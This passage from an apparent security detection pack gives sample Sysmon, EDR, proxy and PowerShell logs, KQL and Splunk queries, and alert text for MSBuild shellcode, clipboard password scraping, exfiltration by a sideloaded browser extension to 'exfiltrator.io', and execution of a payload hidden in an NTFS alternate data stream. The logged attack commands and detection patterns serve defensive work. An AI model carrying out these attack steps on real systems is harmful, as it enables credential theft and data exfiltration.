| search FileName="MSBuild.exe" AND Command="*payload.xml*"
| join Device [
    search index=edr Detection="*Shellcode*"
]
| stats count by User, CommandLine, Detection, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Shellcode Execution via MSBuild

Severity: Critical

Description: MSBuild.exe was abused to execute embedded shellcode using a crafted XML build script (payload.xml) by user aidil.red@clientorg.com.

Recommended Action:

- Quarantine device RND-LAB-07
- Disable MSBuild if not needed in user environments
- Hunt for .xml files with encoded payloads
- Enable LOLBin detection in EDR policies

## **DETECTION PACK ENTRY 98**

**USE CASE: CLIPBOARD SCRAPING MALWARE HARVESTING PASSWORDS**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1115 – CLIPBOARD DATA**

**ENVIRONMENT: EDR + SYSMON + CLIPBOARD MONITORING**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1 (Process Create)

```
{  
    "Timestamp": "2025-07-10T08:09:47Z",  
    "User": "irfan.support",  
    "Process": "clipspy.exe",  
    "CommandLine": "clipspy.exe --monitor --log C:\\temp\\cliplog.txt",  
    "Device": "SUPPORT-WS-05"  
}
```

Data Source: EDR Detection

```
{  
    "Alert": "Unusual clipboard API access",  
    "Process": "clipspy.exe",  
    "Behavior": "Repeated GetClipboardData calls + sensitive string match (password)",  
    "Severity": "High"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Process + API Events)

```
DeviceProcessEvents  
| where FileName == "clipspy.exe"  
| join kind=inner (  
    EDRApiUsage  
    | where ApiCall contains "GetClipboardData"  
        and DataExtracted contains "password"  
) on DeviceName
```

### **SPLUNK**

```
index=edr OR index=sysmon  
| search Command="clipspy.exe*" AND ApiCall="GetClipboardData"
```

```
| stats count by User, Device, ExtractedData, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Clipboard Scraper Harvesting Passwords

Severity: High

Description: clipspy.exe executed on SUPPORT-WS-05 by user irfan.support captured clipboard content including strings resembling credentials.

Recommended Action:

- Terminate and isolate host
- Examine logs for leaked secrets
- Block unauthorised clipboard access tools
- Alert user to change passwords immediately

## **DETECTION PACK ENTRY 99**

**USE CASE: DATA EXFILTRATION VIA SIDELOADED BROWSER EXTENSION**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1176 – BROWSER EXTENSIONS**

**ENVIRONMENT: BROWSER EXTENSION LOGS + PROXY + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Chrome Extension Log

```
{  
  "User": "azlina.marketing",  
  "ExtensionID": "abcd1234malicious",  
  "ExtensionName": "PDF Viewer Plus",  
  "Permissions": ["tabs", "clipboardRead", "webRequest"],  
  "InstallSource": "Sideloaded",  
  "Timestamp": "2025-07-10T08:30:00Z"  
}
```

Data Source: Proxy Log

```
{  
  "URL": "https://exfiltrator.io/data/upload",  
  "Method": "POST",  
  "BytesSent": 75342,  
  "User": "azlina.marketing",  
  "UserAgent": "Chrome Extension - abcd1234malicious"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Browser Logs + Proxy)

```
BrowserExtensionLogs  
| where InstallSource == "Sideloaded" and Permissions has "webRequest"  
| join kind=inner (  
  ProxyLogs  
  | where Url contains "exfiltrator.io"  
) on UserPrincipalName
```

SPLUNK

index=browser\_ext OR index=proxy

```
| search ExtensionName="PDF Viewer Plus" AND Url="*exfiltrator.io*"  
| stats count by User, ExtensionID, BytesSent, Url, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Sideloaded Chrome Extension Exfiltrating Data

Severity: High

Description: Extension PDF Viewer Plus sideloaded by azlina.marketing transmitted over 75KB of data to exfiltrator.io. Detected via extension telemetry and proxy logs.

Recommended Action:

- Force uninstall extension from managed Chrome profiles
- Block associated domain and extension ID
- Enable extension allowlist policy in Google Workspace
- Conduct data loss impact assessment

## **DETECTION PACK ENTRY 100**

**USE CASE: FILELESS PAYLOAD HIDDEN VIA NTFS ALTERNATE DATA STREAMS (ADS)**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1564.004 – HIDE ARTIFACTS: NTFS FILE ATTRIBUTES**

**ENVIRONMENT: SYSMON + EDR + POWERSHELL LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 11 (File Create)

```
{  
  "Timestamp": "2025-07-10T09:15:01Z",  
  "User": "syed.analyst@clientorg.com",  
  "TargetFilename": "C:\\\\Users\\\\Public\\\\readme.txt:payload.exe",  
  "CreationFlags": "FILE_ATTRIBUTE_HIDDEN",  
  "Device": "SEC-WS-11"  
}
```

Data Source: PowerShell Operational Log

```
{  
  "CommandLine": "Start-Process 'C:\\\\Users\\\\Public\\\\readme.txt:payload.exe'",  
  "User": "syed.analyst",  
  "HostApplication": "powershell.exe",  
  "ExecutionPolicy": "Bypass"  
}
```

Data Source: EDR Alert

```
{  
  "Alert": "Suspicious Execution from Alternate Data Stream",  
  "Executable": "payload.exe",  
  "Container": "readme.txt:payload.exe",  
  "Status": "Blocked",  
  "Confidence": "High"  
}
```

## **DETECTION QUERY**

KQL (Sentinel – Sysmon + PowerShell + EDR)

DeviceFileEvents

```
| where TargetFilePath contains ":"  
| join kind=inner (  
    DeviceProcessEvents  
    | where ProcessCommandLine has ":payload.exe"  
) on DeviceName
```

## SPLUNK

```
index=sysmon OR index=edr OR index=powershell  
| search TargetFilename="*:*" Command="*Start-Process*:  
| stats count by User, TargetFilename, CommandLine, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Execution from NTFS Alternate Data Stream

Severity: High

Description: A hidden payload payload.exe embedded in readme.txt using NTFS ADS was executed by user syed.analyst@clientorg.com via PowerShell on device SEC-WS-11.

Recommended Action:

- Isolate host and preserve forensic evidence
- Perform full ADS enumeration on disk
- Monitor for any .txt:\* .exe patterns
- Block execution from known ADS patterns in EDR policies